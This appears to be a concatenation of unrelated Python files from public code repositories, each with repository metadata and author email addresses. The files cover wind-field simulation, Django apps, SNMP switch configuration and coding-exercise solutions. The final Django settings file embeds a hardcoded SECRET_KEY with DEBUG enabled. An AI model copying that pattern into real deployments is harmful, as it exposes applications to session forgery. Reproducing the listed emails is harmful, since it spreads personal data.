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# Generated by Django 3.2.4 on 2021-06-23 09:05 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('post', '0005_alter_post_slug'), ] operations = [ migrations.RenameField( model_name='post', old_name='action', new_name='active', ), ]

[ "mohamedemad1891@gmail.com" ]

mohamedemad1891@gmail.com

b82d9de712eba7a44376cc047eef206300213664

87ba02d5ebf91cbc0fadd50ca44196177b3c86b7

/modules/performRegionalEventSimulation/regionalWindField/ComputeIntensityMeasure.py

bfd018d5c1b3bef55b8a59205c29082604f7389b

[]

no_license

joannajzou/SimCenterBackendApplications

4cd6ff9ec856ab634bbf97ff4e67a336cacfba5b

5f040fcbe0b7a2080918ce3f7f07ca6e2ae51b16

refs/heads/master

2021-06-23T18:19:04.498654

2021-03-17T13:41:08

202,189,745

0

null

2021-03-17T13:41:09

2019-08-13T17:07:43

Python

UTF-8

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# -*- coding: utf-8 -*- # # Copyright (c) 2018 Leland Stanford Junior University # Copyright (c) 2018 The Regents of the University of California # # This file is part of the SimCenter Backend Applications # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # You should have received a copy of the BSD 3-Clause License along with # this file. If not, see <http://www.opensource.org/licenses/>. # # Contributors: # Kuanshi Zhong # import os import subprocess import sys import json import copy import shutil import multiprocessing as mp import numpy as np import pandas as pd from WindFieldSimulation import * def run_model(scen, p, t, path_perturb, feat_perturb, res_mp): model = LinearAnalyticalModel_SnaikiWu_2017(cyclone_param = p, storm_track = t) if scen['Terrain']: model.add_reference_terrain(scen['Terrain']) model.set_cyclone_mesh(scen['StormMesh']) model.set_measure_height(scen['MeasureHeight']) model.define_track(scen['TrackSimu']) model.add_stations(scen['StationList']) delta_path = (np.random.rand(3) - 0.5) * path_perturb delta_feat = np.array(p[3:6]) + (np.random.rand(3) - 0.5) * feat_perturb # this just an engineering judgement that the pressure difference, moving speed, and max-wind-speed radius # should not be less than 0.0 in the value. delta_feat[delta_feat < 0.0] = 0.0 print('dLatitude, dLongtitude, dAngle = ', delta_path) print('dP, v, Rmax = ', delta_feat) model.set_delta_path(delta_path) model.set_delta_feat(delta_feat) model.compute_wind_field() res_mp.append(model.get_station_data()) def simulate_storm(scenarios, event_info, model_type): if (model_type == 'LinearAnalytical'): num_per_site = event_info['NumberPerSite'] if (num_per_site == 1): path_perturb = np.zeros(3) feat_perturb = np.zeros(3) else: if (len(event_info.get('Perturbation', [])) != 6): print('ComputeIntensityMeasure: Perturbation should have a size of 6.') path_perturb = np.array([0.5, 0.5, 90.0]) feat_perturb = np.array([10.0, 10.0, 10.0]) print('ComputeIntensityMeasure: [1.0, 1.0, 90.0, 10.0, 10.0, 10.0] is used for perturbations.') else: path_perturb = np.array(event_info['Perturbation'][0:3]) feat_perturb = np.array(event_info['Perturbation'][3:6]) for i in range(len(scenarios)): if (i == 1): print('ComputeIntensityMeasure: currently supporting single scenario simulation only.') return -1 cur_scen = scenarios[i] param = cur_scen['CycloneParam'] track = cur_scen['StormTrack'] np.random.seed(100) # parallel with mp.Manager() as manager: res_mp = manager.list([]) proc_list = [] for k in range(num_per_site): proc = mp.Process(target = run_model, args = (cur_scen, param, track, path_perturb, feat_perturb, res_mp)) proc_list.append(proc) for k in range(num_per_site): proc = proc_list[k] proc.start() for k in range(num_per_site): proc = proc_list[k] proc.join() # extract data res = [x for x in res_mp] else: print('ComputeIntensityMeasure: currently only supporting LinearAnalytical model') # return return res def simulate_storm_cpp(site_info, scenario_info, event_info, model_type, dir_info): if (model_type == 'LinearAnalytical'): # save configuration file input_dir = dir_info['Input'] output_dir = dir_info['Output'] config = { "Scenario": scenario_info, "Event": event_info } abs_path_config = os.path.abspath(os.path.join(input_dir, 'SimuConfig.json')) with open (abs_path_config, "w") as f: json.dump(config, f) # site file abs_path_site = os.path.abspath(os.path.join(input_dir, site_info['input_file'])) # track file abs_path_track = os.path.abspath(os.path.join(input_dir, scenario_info['Storm']['Track'])) # lat_w file abs_path_latw = os.path.abspath(os.path.join(input_dir, scenario_info['Storm']['TrackSimu'])) # terrain file if ('Terrain' in scenario_info.keys()): abs_path_terrain = os.path.abspath(os.path.join(input_dir, scenario_info['Terrain'])) else: # default terrain z0 = 0.01 everywhere for the defined domain abs_path_terrain = os.path.abspath(os.path.join(input_dir, 'DefaultTerrain.geojson')) dict_dt = { "type": "FeatureCollection", "features": [{ "type": "Feature", "geometry": { "type": "Polygon", "coordinates": [ [-90.0, -180.0], [90.0, -180.0], [90.0, 180.0], [-90.0, 180.0]] }, "properties": { "z0": 0.01 } } ] } with open(abs_path_terrain, 'w') as f: json.dump(dict_dt, f, indent=2) # configuring perturbation num_per_site = event_info['NumberPerSite'] if (num_per_site == 1): path_perturb = np.zeros(3) feat_perturb = np.zeros(3) else: if (len(event_info.get('Perturbation', [])) != 6): print('ComputeIntensityMeasure: Perturbation should have a size of 6.') path_perturb = np.array([0.5, 0.5, 90.0]) feat_perturb = np.array([10.0, 10.0, 10.0]) print('ComputeIntensityMeasure: [1.0, 1.0, 90.0, 10.0, 10.0, 10.0] is used for perturbations.') else: path_perturb = np.array(event_info['Perturbation'][0:3]) feat_perturb = np.array(event_info['Perturbation'][3:6]) for i in range(int(scenario_info['Number'])): if (i == 1): print('ComputeIntensityMeasure: currently supporting single scenario simulation only.') return -1 np.random.seed(100) res = [] # parallel pert_list = [] args_list = [] odir_list = [] if sys.platform.startswith('win'): windsimu_bin = os.path.dirname(__file__) + '/WindFieldSimulation.exe' else: windsimu_bin = os.path.dirname(__file__) + '/WindFieldSimulation' ## preparing files for j in range(num_per_site): delta_path = (np.random.rand(3) - 0.5) * path_perturb delta_feat = (np.random.rand(3) - 0.5) * feat_perturb pert_dict = { "dLatitude": delta_path[0], "dLongitude": delta_path[1], "dAngle": delta_path[2], "dP": delta_feat[0], "dV": delta_feat[1], "dR": delta_feat[2] } abs_path_pert = os.path.abspath(os.path.join(input_dir, 'Perturbation' + str(j) + '.json')) with open(abs_path_pert, "w") as f: json.dump(pert_dict, f) print('dLatitude, dLongtitude, dAngle = ', delta_path) print('dP, dv, dR = ', delta_feat) output_subdir = os.path.abspath(os.path.join(output_dir, 'simu' + str(j))) if os.path.exists(output_subdir): shutil.rmtree(output_subdir) os.makedirs(output_subdir) args = [windsimu_bin, "--config", abs_path_config, "--site", abs_path_site, "--track", abs_path_track, "--latw", abs_path_latw, "--pert", abs_path_pert, "--terrain", abs_path_terrain, "--z0", output_subdir, "--output", output_subdir] pert_list.append(abs_path_pert) args_list.append(args) odir_list.append(output_subdir) ## running procs_list = [subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) for cmd in args_list] for proc in procs_list: proc.wait() ## loading output for j in range(num_per_site): os.remove(pert_list[j]) station_res = { 'Latitude': [], 'Longitude': [], 'z0': [], 'PWS': { 'height': [], 'duration': 600.0, 'windspeed': [] } } df = pd.read_csv(os.path.join(os.path.abspath(odir_list[j]), 'StationZ0.csv'), header = None, index_col = None) station_res['z0'] = list(np.concatenate(df.values.tolist()).flat) df = pd.read_csv(os.path.join(os.path.abspath(odir_list[j]), 'MeasureHeight.csv'), header = None, index_col = None) station_res['PWS']['height'] = df.values.tolist()[0] df = pd.read_csv(os.path.join(os.path.abspath(odir_list[j]), 'MaxWindSpeed.csv'), header = None, index_col = None) station_res['PWS']['windspeed'] = df.values.tolist() res.append(station_res) shutil.rmtree(odir_list[j]) # house-keeping os.remove(abs_path_config) else: print('ComputeIntensityMeasure: currently only supporting LinearAnalytical model') # return return res def convert_wind_speed(event_info, simu_res): print('ComputeIntensityMeasure: converting peak wind speed to specificed exposure, measuring height, and gust duration.') if ('HAZUS' in event_info['IntensityMeasure']['Type']): # Exposure type C: z0 = 0.03 exposure = 'C' # 10-m measuring height reference_height = 10.0 # 3-s gust duration gust_duration = 3.0 else: exposure = event_info['IntensityMeasure']['Exposure'] if exposure not in ['A', 'B', 'C', 'D']: print('ComputeIntensityMeasure: the Exposure should be A, B, C, or D.') return -1 gust_duration = event_info['IntensityMeasure']['GustDuration'] reference_height = event_info['IntensityMeasure']['ReferenceHeight'] pws_mr = [] for i in range(len(simu_res)): cur_res = simu_res[i] # Reading simulation heights measure_height = cur_res['PWS']['height'] # Reading simulated wind speed pws_raw = np.array(cur_res['PWS']['windspeed']) # Reading z0 in the simulation z0_simu = np.array(cur_res['z0']) # Reading gust duration in the simulation gust_duration_simu = cur_res['PWS']['duration'] # quick check the size if pws_raw.shape[1] != len(measure_height): print('ComputeIntensityMeasure: please check the output wind speed results.') return -1 # ASCE 7-16 conversion (Chapter C26) # station-wise empirical exponent \alpha alpha = 5.65 * (z0_simu ** (-0.133)) # station-wise gradient height zg = 450.0 * (z0_simu ** 0.125) # target exposure alpha and graident height if (exposure == 'B'): alpha_t = 7.0 zg_t = 365.76 elif (exposure == 'D'): alpha_t = 11.5 zg_t = 213.36 else: # 'C' alpha_t = 9.5 zg_t = 274.32 # conversion pws_raw = interp_wind_by_height(pws_raw, measure_height, reference_height) print(np.max(pws_raw)) # computing gradient-height wind speed pws_tmp = pws_raw * (zg / reference_height) ** (1.0 / alpha) # converting exposure pws_tmp = pws_tmp * (reference_height / zg_t) ** (1.0 / alpha_t) pws = pws_tmp * gust_factor_ESDU(gust_duration_simu, gust_duration) print(np.max(pws)) # appending to pws_mr pws_mr.append(pws) print('ComputeIntensityMeasure: wind speed conversion completed.') # return return pws_mr def interp_wind_by_height(pws_ip, height_simu, height_ref): """ interp_wind_by_height: interpolating the wind simulation results by the reference height """ num_stat = pws_ip.shape[0] pws_op = np.zeros(num_stat) for i in range(num_stat): pws_op[i] = np.interp(height_ref, height_simu, pws_ip[i, :], left = pws_ip[i, 0], right = pws_ip[i, -1]) # return return pws_op def gust_factor_ESDU(gd_c, gd_t): """ gust_factor_ESDU: return a gust facto between gd_c and gd_t """ # gust duration (sec) gd = [1.0, 2.0, 5.0, 10.0, 20.0, 50.0, 100.0, 200.0, 500.0, 1000.0, 2000.0, 3600.0] # gust factor w.r.t. 3600 sec gf = [1.59, 1.55, 1.47, 1.40, 1.32, 1.20, 1.15, 1.10, 1.055, 1.045, 1.02, 1.00] # interpolation gf_t = np.interp(gd_t, gd, gf, left = gf[0], right = gf[-1]) \ / np.interp(gd_c, gd, gf, left = gf[0], right = gf[-1]) # return return gf_t def export_pws(stations, pws, output_dir, filename = 'EventGrid.csv'): print('ComputeIntensityMeasure: saving results.') # collecting site locations lat = [] lon = [] for s in stations['Stations']: lat.append(s['Latitude']) lon.append(s['Longitude']) # saving data station_num = len(lat) csv_file = [str(x + 1)+'.csv' for x in range(station_num)] d = { 'Station': csv_file, 'Latitude': lat, 'Longitude': lon } df = pd.DataFrame.from_dict(d) df.to_csv(os.path.join(output_dir, filename), index = False) for i in range(station_num): pws_op = [pws[0][i]] if len(pws) > 1: for j in range(len(pws) - 1): pws_op.append(pws[j + 1][i]) d = { 'PWS': pws_op } df = pd.DataFrame.from_dict(d) df.to_csv(os.path.join(output_dir, csv_file[i]), index = False) print('ComputeIntensityMeasure: simulated wind speed field saved.')

[ "kuanshi@stanford.edu" ]

kuanshi@stanford.edu

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/jsWriteFile.py

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[]

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rupkumar1996/STL-Code

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refs/heads/master

2021-02-09T15:52:26.290467

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import xlrd from string import Template import os import shutil def jsWriter(folder_name): if os.path.exists(folder_name +'/js'): shutil.rmtree(folder_name +'/js') shutil.copytree(os.getcwd() + '/js', folder_name+'/js') with open(folder_name+'/js/externalFile.js', "a") as fp: wb = xlrd.open_workbook(folder_name+'/scraped_data.xlsx') sheet = wb.sheet_by_index(0) nrows = sheet.nrows # print(nrows) for j in range(nrows-1): fp.writelines("\n{") fp.writelines(Template("id: \"$i\",\n").substitute(i=j+1)) fp.writelines(Template("image: \"images/$k.webp\",\n").substitute(k=j+1)) fp.writelines(Template("price: \"Rs. $price\",\n").substitute(price=int(float((str(sheet.cell_value(j+1,1)).strip()).replace(",", ""))))) fp.writelines(Template("name: \"$name\",\n").substitute(name=sheet.cell_value(j+1,0 ))) fp.writelines(Template("merchantName: \"$merchant\",\n").substitute(merchant=sheet.cell_value(j+1,5))) fp.writelines(Template("viewproductUrl: \"$url\"\n").substitute(url=sheet.cell_value(j+1,3))) fp.writelines("},") fp.close() with open(folder_name+'/js/externalFile.js', 'rb+') as f: f.seek(0,2) size=f.tell() f.truncate(size-1) f.close() with open(folder_name+'/js/externalFile.js', "a") as fp: fp.writelines('\n\n]') fp.close() rootdir = 'C:/Users/rupkumar.saha/Desktop/Ama_Files/' for folders in os.listdir(rootdir): if folders == '.DS_Store': continue print(folders) jsWriter(rootdir + folders)

[ "ayushi.agarwal@walmartlabs.com" ]

ayushi.agarwal@walmartlabs.com

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f706a4fe6663e1e51f2393f69927fec7c2275b10

/src/newsletter/views.py

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[]

no_license

Dipenjethva19/HappyFace_MVP_Newsletter_App

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refs/heads/master

2022-11-09T01:14:29.746277

2017-06-07T20:33:14

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from django.conf import settings from django.shortcuts import render from .forms import ContactForm, SignUpForm from django.core.mail import send_mail from .models import SignUp # Create your views here. def home(request): title = 'Sign Up Now' # if request.user.is_authenticated: # title = 'Welcome To my App. %s' % request.user # if request.method == 'POST': # print(request.POST) form = SignUpForm(request.POST or None) context = { 'title': title, 'form': form } if form.is_valid(): instance = form.save(commit=False) full_name = form.cleaned_data.get("full_name") if not full_name: full_name = "new any user" instance.full_name = full_name # if not instance.full_name: # instance.full_name = 'Any User' form.save() context = { "title": 'Thank You' } if request.user.is_authenticated() and request.user.is_staff: for instance in SignUp.objects.all(): print(instance.email) queryset = SignUp.objects.all() context = { 'queryset': queryset } return render(request, "home.html", context) def contact(request): title = 'Contact Us' form = ContactForm(request.POST or None) if form.is_valid(): for key in form.cleaned_data: # print(key) # print(form.cleaned_data.get(key)) form_email = form.cleaned_data.get('email') form_message = form.cleaned_data.get('message') form_full_name = form.cleaned_data.get('full_name') some_html_message = """ <h1>Hello</h1> """ # print(email,message,full_name) subject = 'EmailTesting' from_email = settings.EMAIL_HOST_USER to_email = [from_email, ] contact_message = "%s: %s via %s" % ( form_full_name, form_message, form_email ) send_mail( subject, contact_message, from_email, to_email, html_message=some_html_message, fail_silently=False ) send_mail( 'Subject here', 'Here is the message.', 'from@example.com', ['to@example.com'], fail_silently=False, ) context = { 'form': form, 'title': title } return render(request, 'forms.html', context)

[ "dipenjethva19@gmail.com" ]

dipenjethva19@gmail.com

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/3]. Competitive Programming/03]. HackerRank/1]. Practice/12]. 10 Days of Statistics/Day_6.py

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poojitha2002/The-Complete-FAANG-Preparation

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# 1st Solution------------------------------------------------ import math as m x, n, m, s = int(input()),int(input()), int(input()),int(input()) m1 = n*m s1 = m.sqrt(n)*s def cdf(x, m, s): z = (x-m)/s return 0.5*(1 + m.erf(z/(m.sqrt(2)))) print(round(cdf(x, m1, s1), 4)) # 2nd Solution------------------------------------------- import math x, n = 250, 100 s_mean, s_stdev = 2.4, 2.0 stdev = s_stdev * math.sqrt(n) cdf = 0.5*(1+math.erf((x-s_mean*n)/(stdev * math.sqrt(2)))) print(round(cdf, 4)) # 3rd Solution----------------------------------------------- from math import sqrt a, b, c, d, e = int(input()), int(input()), int(input()), float(input()), float(input()) print(round(b - (c/sqrt(a))*e, 2)) print(round(b + (c/sqrt(a))*e, 2))

[ "akashsingh27101998@gmai.com" ]

akashsingh27101998@gmai.com

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[]

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lewisponsonby/tango_with_django_project

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from django.contrib import admin from rango.models import Category, Page from rango.models import UserProfile class PageAdmin(admin.ModelAdmin): list_display=("title","category","url") class CategoryAdmin(admin.ModelAdmin): prepopulated_fields = {"slug":("name",)} admin.site.register(Category, CategoryAdmin) admin.site.register(Page, PageAdmin) admin.site.register(UserProfile)

[ "2464980P@student.gla.ac.uk" ]

2464980P@student.gla.ac.uk

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permissive

mhelmEXTR/ExtremeScripting

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2021-07-07T17:27:07.330072

2021-04-29T16:43:32

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#!/usr/bin/env python ''' Wizard to configure SNMP ''' ############################################################################# # SNMP v1/v2 Variable definitions ############################################################################# #clierrormode = raw_input("If this script encounters errors, do you wish to abort or ignore?: ") ynsnmpconfig = raw_input("Congifigure SNMP v1/v2 access? (yes or no): ") ynsnmpdisable = raw_input("Disable SNMP v1/v2 access? (yes or no): ") ynsnmpcommadd = raw_input("Add SNMP v1/v2 communities? (yes or no): ") snmprwname = raw_input("Read/Write SNMP Community Name?: ") snmproname = raw_input("Read-Only SNMP Community Name?: ") ynsnmpcommrem = raw_input("Remove default SNMP Communities? (yes or no): ") snmpname = raw_input("SNMP Switch Name?: ") snmplocation = raw_input("SNMP Location?: ") snmpcontact = raw_input("SNMP Contact?: ") snmptrapcount = raw_input("Number of SNMP Trap Receivers (Script supports: 1-3): ") snmptrap1 = raw_input("SNMP Trap Receiver #1: ") snmptrap2 = raw_input("SNMP Trap Receiver #2: ") snmptrap3 = raw_input("SNMP Trap Receiver #3: ") ############################################################################# # SNMP V1/V2 Configuration ############################################################################# #if (re.match(clierrormode,"ignore")): # configure cli mode scripting ignore-error # create log entry "CLI mode set for Ignore on Error" #else # configure cli mode scripting abort-on-error # create log entry "CLI mode set for Abort on Error" if (re.match(ynsnmpconfig,"yes")): exsh.clicmd("create log entry \"Starting SNMP Configuration\"", True) print("Starting SNMP Configuration") exsh.clicmd("configure snmp sysName %s" % snmpname, True) exsh.clicmd("configure snmp sysLocation %s" % snmplocation, True) exsh.clicmd("configure snmp sysContact %s" % snmpcontact, True) if (snmptrapcount >= 1): exsh.clicmd("configure snmp add trapreceiver %s community %s" % (snmptrap1,snmproname), True) if (snmptrapcount >= 2): exsh.clicmd("configure snmp add trapreceiver %s community %s" % (snmptrap2,snmproname), True) if (snmptrapcount >= 3): exsh.clicmd("configure snmp add trapreceiver %s community %s" % (snmptrap3,snmproname), True) if (re.match(ynsnmpcommadd,"yes")): exsh.clicmd("configure snmp add community readwrite %s" % snmprwname, True) exsh.clicmd("configure snmp add community readonly %s" % snmproname, True) exsh.clicmd("create log entry \"New SNMP Communities Created\"", True) print("New SNMP Communities Created") if (re.match(ynsnmpcommrem,"yes")): exsh.clicmd("configure snmp delete community readwrite private", True) exsh.clicmd("configure snmp delete community readonly public", True) exsh.clicmd("create log entry \"Default SNMP Communities Removed\"", True) print("Default SNMP Communities Removed") else: exsh.clicmd("create log entry \"Default SNMP Communities NOT Removed\"", True) print("Default SNMP Communities NOT Removed") else: if (re.match(ynsnmpdisable,"yes")): exsh.clicmd("create log entry \"Disabling SNMP access\"", True) print("Disabling SNMP access") exsh.clicmd("disable snmp access snmp-v1v2", True) else: exsh.clicmd("create log entry \"SNMP Not Configured\"", True) print("SNMP Not Configured")

[ "stewilliams@extremenetworks.com" ]

stewilliams@extremenetworks.com

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/dactyl/cli.py

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MarcelRaschke/dactyl

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refs/heads/master

2023-04-07T10:51:22.547757

2019-10-18T04:51:57

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MIT

2023-04-03T23:39:18

2020-01-18T18:26:22

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#!/usr/bin/env python3 from dactyl.common import * import argparse class DactylCLIParser: UTIL_BUILD = "Generate static site from markdown and templates." UTIL_LINKS = "Check files in this repository for broken links." UTIL_STYLE = "Check content files for style issues." def __init__(self, utility): """Specify commandline usage and parse arguments""" parser = argparse.ArgumentParser(description=utility) noisiness = parser.add_mutually_exclusive_group(required=False) noisiness.add_argument("--quiet", "-q", action="store_true", help="Suppress status messages") noisiness.add_argument("--debug", action="store_true", help="Print debug-level log messages") parser.add_argument("--config", "-c", type=str, help="Specify path to an alternate config file.") parser.add_argument("--version", "-v", action="store_true", help="Print version information and exit.") parser.add_argument("--bypass_errors", "-b", action="store_true", help="Continue if recoverable errors occur") if utility in (self.UTIL_BUILD, self.UTIL_STYLE): parser.add_argument("--target", "-t", type=str, help="Use the specified target (from the config file).") if utility == self.UTIL_BUILD: build_mode = parser.add_mutually_exclusive_group(required=False) build_mode.add_argument("--pdf", nargs="?", type=str, const=DEFAULT_PDF_FILE, default=NO_PDF, help="Output a PDF to this file. Requires Prince.") build_mode.add_argument("--md", action="store_true", help="Output markdown only") build_mode.add_argument("--html", action="store_true", default=True, help="Output HTML files (the default)") build_mode.add_argument("--es", action="store_true", help="Output JSON for ElasticSearch upload") # HTML is the default mode static_files = parser.add_mutually_exclusive_group(required=False) static_files.add_argument("--copy_static", "-s", action="store_true", help="Copy all static files to the out dir", default=False) static_files.add_argument("--no_static", "-S", action="store_true", help="Don't copy any static files to the out dir", default=False) static_files.add_argument("--template_static", "-T", action="store_true", help="Copy only templates' static files to the out dir", default=False) static_files.add_argument("--content_static", "-C", action="store_true", help="Copy only the content's static files to the out dir", default=False) parser.add_argument("--es_upload", nargs="?", type=str, const=DEFAULT_ES_URL, default=NO_ES_UP, help="Upload documents to ElasticSearch cluster "+ "at this URL (http://localhost:9200 by default). "+ "Ignored when making PDFs.") parser.add_argument("--leave_temp_files", action="store_true", help="Leave temp files in place (for debugging or "+ "manual PDF generation). Ignored when using --watch", default=False) parser.add_argument("--list_targets_only", "-l", action="store_true", help="Don't build anything, just display list of "+ "known targets from the config file.") parser.add_argument("--only", type=str, help=".md or .html filename of a "+ "single page in the config to build alone.") parser.add_argument("--out_dir", "-o", type=str, help="Output to this folder (overrides config file)") parser.add_argument("--pages", type=str, help="Markdown file(s) to build "+\ "that aren't described in the config.", nargs="+") parser.add_argument("--openapi", type=str, help="OpenAPI spec file "+ "to generate docs from.") parser.add_argument("--no_cover", "-n", action="store_true", help="Don't automatically add a cover / index file.") parser.add_argument("--skip_preprocessor", action="store_true", default=False, help="Don't pre-process Jinja syntax in markdown files") parser.add_argument("--template_strict_undefined", action="store_true", help="Raise an error on undefined variables in "+ "template syntax.") parser.add_argument("--pp_strict_undefined", action="store_true", help="Raise an error on undefined variables in "+ "preprocessor syntax.") parser.add_argument("--title", type=str, help="Override target display "+\ "name. Useful when passing multiple args to --pages.") parser.add_argument("--vars", type=str, help="A YAML or JSON file with vars "+ "to add to the target so the preprocessor and "+ "templates can reference them.") parser.add_argument("--watch", "-w", action="store_true", help="Watch for changes and re-generate output. "+\ "This runs until force-quit.") elif utility == self.UTIL_LINKS: parser.add_argument("-o", "--offline", action="store_true", help="Check local anchors only") parser.add_argument("-s", "--strict", action="store_true", help="Exit with error even on known problems") parser.add_argument("-n", "--no_final_retry", action="store_true", help="Don't wait and retry failed remote links at the end.") self.cli_args = parser.parse_args()

[ "mduo13@gmail.com" ]

mduo13@gmail.com

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/Python_codes/p03681/s311284212.py

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Aasthaengg/IBMdataset

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py

n, m = map(int, input().split()) mod = 10 ** 9 + 7 if abs(n - m) >= 2: print(0) else: res = 1 for i in range(1, n+1): res = res * i % mod for i in range(1, m+1): res = res * i % mod if abs(n - m) == 1: print(res) else: print(res * 2 % mod)

[ "66529651+Aastha2104@users.noreply.github.com" ]

66529651+Aastha2104@users.noreply.github.com

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/dossier/models/__init__.py

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[ "MIT" ]

permissive

anukat2015/dossier.models

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c9e282f690eab72963926329efe1600709e48b13

refs/heads/master

2021-01-21T10:45:33.881681

2015-10-08T18:38:35

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0

null

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''' .. This software is released under an MIT/X11 open source license. Copyright 2012-2014 Diffeo, Inc. ``dossier.models`` provides search engines and a :mod:`dossier.web` application for working with active learning. .. automodule:: dossier.models.web.run .. automodule:: dossier.models.pairwise .. automodule:: dossier.models.features .. automodule:: dossier.models.etl .. automodule:: dossier.models.dragnet .. automodule:: dossier.models.soft_selectors .. automodule:: dossier.models.linker ''' from dossier.models import features from dossier.models.pairwise import PairwiseFeatureLearner, similar, dissimilar __all__ = [ 'PairwiseFeatureLearner', 'similar', 'dissimilar', 'features', ]

[ "andrew@diffeo.com" ]

andrew@diffeo.com

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/rest/models.py

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[]

no_license

mourasis/webservice

572c62608e53846f0160aae567da1595631202b1

3a7d67239a30e753bf89d09394f96442ccbfd1ad

refs/heads/master

2020-06-23T03:57:20.300943

2019-07-23T20:52:48

198,503,495

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py

from django.db import models class Livro(models.Model): titulo = models.CharField(max_length=200) autor = models.CharField(max_length=200) volume = models.IntegerField() def __str__(self): return self.titulo

[ "root@moura.local" ]

root@moura.local

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/assignments/10AlternaCaracteres/src/exercise.py

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[]

no_license

Cursoi-TC1028/Examen-Parcial

a018a80c6e9050cc91e0dfc8ad4334ac379d7e37

69ca6414f5c6b50312645a5f4eef370235aca49e

refs/heads/main

2023-07-24T10:31:44.733594

2021-09-09T04:20:01

404,479,991

0

null

UTF-8

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false

257

py

def main(): #escribe tu código abajo de esta línea n = int(input()) cont = 1 while (cont <= n) : if cont % 2 != 0: print("#") else : print("%") cont += 1 if __name__=='__main__': main()

[ "69440193+mannyRam24-Mter@users.noreply.github.com" ]

69440193+mannyRam24-Mter@users.noreply.github.com

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/venv/Scripts/easy_install-script.py

53ca27394e3788212ea5e8cf08b912eade2cbd08

[]

no_license

fati-ma/POS-tagger

3c38e26919d6f2a27442bb200e3d6d6fdb57838d

d72981cb4976089b68000a43f9c82a9df192605b

refs/heads/main

2023-07-31T14:25:43.363787

2021-09-21T12:46:51

408,569,546

0

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UTF-8

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449

py

#!C:\Users\delta\PycharmProjects\Test11\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install' __requires__ = 'setuptools==40.8.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('setuptools==40.8.0', 'console_scripts', 'easy_install')() )

[ "fatima.atiyya@yahoo.com" ]

fatima.atiyya@yahoo.com

f832bcd4c625f055315cb9acc7cff3c3d1d5f3f1

adffea7027bdd1c5733b3bd9361c2d32942cddbb

/blog/urls.py

e47c165886ad0490f944da1a9b8e6364db9b83a5

[]

no_license

OnlyAdel/adel_portfolio

a1cd83f9195bb1f430fe4f2bc8ea65b7b0e49bd2

1ebfbf6ce3719bba303da5fab557e756b2d3a4e3

refs/heads/main

2023-05-05T12:50:47.819869

2021-05-19T13:45:04

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UTF-8

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193

py

from django.urls import path from . import views app_name = 'blog' urlpatterns = [ path('', views.all_blogs, name='all_blogs'), path('<int:blog_id>/', views.detail, name='detail'), ]

[ "m.adel.kadi@pm.me" ]

m.adel.kadi@pm.me

c4f671e9a75ffab245e4527cf3a74964ce8ebeb3

76b8e0895f81f021a3578ce9ac23d4b87cf5aeb4

/base/__init__.py

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[]

no_license

kilomeow/pick-a-bot

ec0d4934866fc7a9a7afd46053524da93574a78d

56566022b5ad5966a4183baf188e3ca259f2aba3

refs/heads/master

2023-04-07T14:00:28.270458

2021-04-19T06:56:57

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from .session import * from .trigger import * from .action import * from .context import * from .promise import *

[ "dest@disr.it" ]

dest@disr.it

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/dailyfresh/settings.py

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[]

no_license

PeterZhangxing/dailyfresh_ori

603e7e42457d27ffefb6a4601f9b6826a3a55a6f

19b6d667d6f49a528aeb6f4430e2537c933936f0

refs/heads/master

2020-12-02T01:41:32.160278

2019-12-30T04:24:50

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0

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UTF-8

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""" Django settings for dailyfresh project. Generated by 'django-admin startproject' using Django 2.0.4. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import os import sys # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.insert(0,os.path.join(BASE_DIR,'apps')) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'h2)2bq3(3=-9a#8m$t-ci9t91o*tr%xs%@3g2^e-4^)i$(335l' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'tinymce', # 富文本编辑器 'haystack', # 注册全文检索框架 'user', # 用户模块 'goods', # 商品模块 'cart', # 购物车模块 'order', # 订单模块 ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'dailyfresh.urls' TEMPLATES = [ { 